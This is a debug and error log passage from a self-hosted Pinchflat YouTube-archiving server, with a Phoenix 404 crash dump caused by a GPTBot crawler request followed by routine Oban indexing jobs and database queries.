s0 LIMIT 1 [] 16:00:49.168 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:00:49.168 [error] #PID<0.10570.0> running PinchflatWeb.Endpoint (connection #PID<0.10569.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/6109/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6109/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6109/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6109", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10570.0>, params: %{}, path_info: ["sources", "1", "media", "6109", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/6109"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/6109/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFJDce8rqffiQAA8TB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6109/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6109", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6109/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6109/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6109", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10570.0>, params: %{}, path_info: ["sources", "1", "media", "6109", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 16:00:52.935 [info] {"args":{"id":2},"id":696,"meta":{},"system_time":1784908852935224382,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:00:52.935 [debug] QUERY OK source="sources" db=0.2ms idle=1995.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:00:52.935 [debug] QUERY OK source="tasks" db=0.3ms idle=1007.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:00:52.935 [debug] QUERY OK source="settings" db=0.2ms idle=995.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:52.936 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:00:52.936 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:00:52.936 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:52.936 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 16:00:53.270 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 16:00:53.271 [debug] QUERY OK source="media_items" db=0.3ms idle=334.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 16:00:53.271 [debug] QUERY OK source="media_items" db=0.2ms idle=335.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:00:53.272 [debug] QUERY OK source="tasks" db=0.0ms idle=335.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [699, 2, ~U[2026-07-24 16:00:53Z], ~U[2026-07-24 16:00:53Z]] 16:00:53.272 [info] {"args":{"id":2},"id":696,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":336968,"event":"job:stop","queue_time":263537,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:00:53.272 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:00:57.105 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.707 [info] {"source":"oban","duration":350,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:01:06.949 [info] {"args":{"id":1},"id":697,"meta":{},"system_time":1784908866949223203,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:01:06.949 [debug] QUERY OK source="sources" db=0.0ms idle=1007.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:01:06.949 [debug] QUERY OK source="tasks" db=0.2ms idle=9.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:01:06.949 [debug] QUERY OK source="settings" db=0.1ms idle=9.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:01:06.949 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:01:06.949 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:01:06.950 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:01:06.950 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 16:01:07.157 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:01:07.158 [debug] QUERY OK source="media_items" db=0.2ms idle=208.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:01:07.160 [debug] QUERY OK source="media_items" db=2.1ms idle=208.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:01:07.161 [debug] QUERY OK source="tasks" db=0.0ms idle=211.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [700, 1, ~U[2026-07-24 16:01:07Z], ~U[2026-07-24 16:01:07Z]] 16:01:07.161 [info] {"args":{"id":1},"id":697,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":211983,"event":"job:stop","queue_time":426873,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:01:07.161 [debug] QUERY OK source="tasks" db=0.3ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:01:21.964 [info] {"args":{"id":3},"id":698,"meta":{},"system_time":1784908881964165911,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:01:21.964 [debug] QUERY OK source="sources" db=0.1ms idle=1024.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:01:21.964 [debug] QUERY OK source="tasks" db=0.2ms idle=1024.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:01:21.964 [debug] QUERY OK source="settings" db=0.2ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:01:21.964 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:01:21.965 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:01:21.965 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:01:21.965 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 16:01:22.142 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:01:22.143 [debug] QUERY OK source="media_items" db=0.2ms idle=178.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:01:22.145 [debug] QUERY OK source="media_items" db=1.7ms idle=178.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", 